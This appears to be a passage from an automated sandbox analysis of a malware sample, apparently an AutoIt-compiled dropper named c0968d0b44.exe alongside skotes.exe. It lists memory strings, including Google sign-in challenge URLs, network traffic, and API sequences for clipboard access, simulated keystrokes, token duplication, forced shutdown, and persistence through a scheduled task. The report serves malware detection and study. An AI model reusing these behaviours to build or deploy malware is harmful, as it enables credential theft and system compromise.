Source: chromecache_93.19.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: chromecache_93.19.dr	String found in binary or memory: https://www.gstatic.com/accounts/speedbump/authzen_optin_illustration.gif
Source: chromecache_93.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/chrome_48dp.png
Source: chromecache_93.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/googleg_48dp.png
Source: chromecache_93.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/gsa_48dp.png
Source: chromecache_93.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/play_prism_48dp.png
Source: chromecache_93.19.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/youtube_48dp.png
Source: c0968d0b44.exe, 00000006.00000003.2800362556.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/
Source: c0968d0b44.exe, 00000006.00000003.2779675845.0000000000984000.00000004.00000020.00020000.00000000.sdmp, c0968d0b44.exe, 00000017.00000003.2992635164.0000000001430000.00000004.00000020.00020000.00000000.sdmp, c0968d0b44.exe, 00000017.00000003.2971567172.00000000013E4000.00000004.00000020.00020000.00000000.sdmp, c0968d0b44.exe, 00000031.00000003.3073157710.0000000001514000.00000004.00000020.00020000.00000000.sdmp, c0968d0b44.exe, 00000031.00000002.3353418979.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, c0968d0b44.exe, 00000031.00000003.3351247872.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, c0968d0b44.exe, 00000031.00000003.3351814227.00000000015F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 64670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64670
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64717
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.12:443 -> 192.168.2.5:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.5:64670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.5:64717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:64730 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ADEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_00ADEAFF

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ADED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00ADED6A

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

6_2_00ADEAFF

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ACAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

6_2_00ACAA57

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AF9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00AF9576

System Summary

Binary is likely a compiled AutoIt script file

Source: c0968d0b44.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: c0968d0b44.exe, 00000006.00000000.2751998785.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1e199e69-f
Source: c0968d0b44.exe, 00000006.00000000.2751998785.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_9679b1db-4
Source: c0968d0b44.exe, 00000017.00000002.2993631431.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d710d565-a
Source: c0968d0b44.exe, 00000017.00000002.2993631431.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a41d248a-1
Source: c0968d0b44.exe, 00000031.00000000.3048323788.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b929e3c0-a
Source: c0968d0b44.exe, 00000031.00000000.3048323788.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d2c90765-3
Source: da8dfab19c.exe.5.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_555427a6-a
Source: da8dfab19c.exe.5.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0aacdb51-1
Source: c0968d0b44.exe.5.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a53511f6-6
Source: c0968d0b44.exe.5.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_2b1a012b-6
Source: random[1].exe.5.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c7129a4e-b
Source: random[1].exe.5.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_97a415fc-1

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 7d57c960f4.exe.5.dr	Static PE information: section name:
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: .rsrc
Source: 7d57c960f4.exe.5.dr	Static PE information: section name: .idata
Source: 7d57c960f4.exe.5.dr	Static PE information: section name:
Source: 634af23a05.exe.5.dr	Static PE information: section name:
Source: 634af23a05.exe.5.dr	Static PE information: section name: .rsrc
Source: 634af23a05.exe.5.dr	Static PE information: section name: .idata
Source: 634af23a05.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ACD5EB: CreateFileW,DeviceIoControl,CloseHandle,

6_2_00ACD5EB

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AC1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_00AC1201

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ACE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_00ACE8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0058E530	5_2_0058E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005C7049	5_2_005C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005C8860	5_2_005C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005C78BB	5_2_005C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005C2D10	5_2_005C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00584DE0	5_2_00584DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005C31A8	5_2_005C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00584B30	5_2_00584B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005B7F36	5_2_005B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005C779B	5_2_005C779B
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A68060	6_2_00A68060
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD2046	6_2_00AD2046
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AC8298	6_2_00AC8298
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A9E4FF	6_2_00A9E4FF
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A9676B	6_2_00A9676B
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AF4873	6_2_00AF4873
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A8CAA0	6_2_00A8CAA0
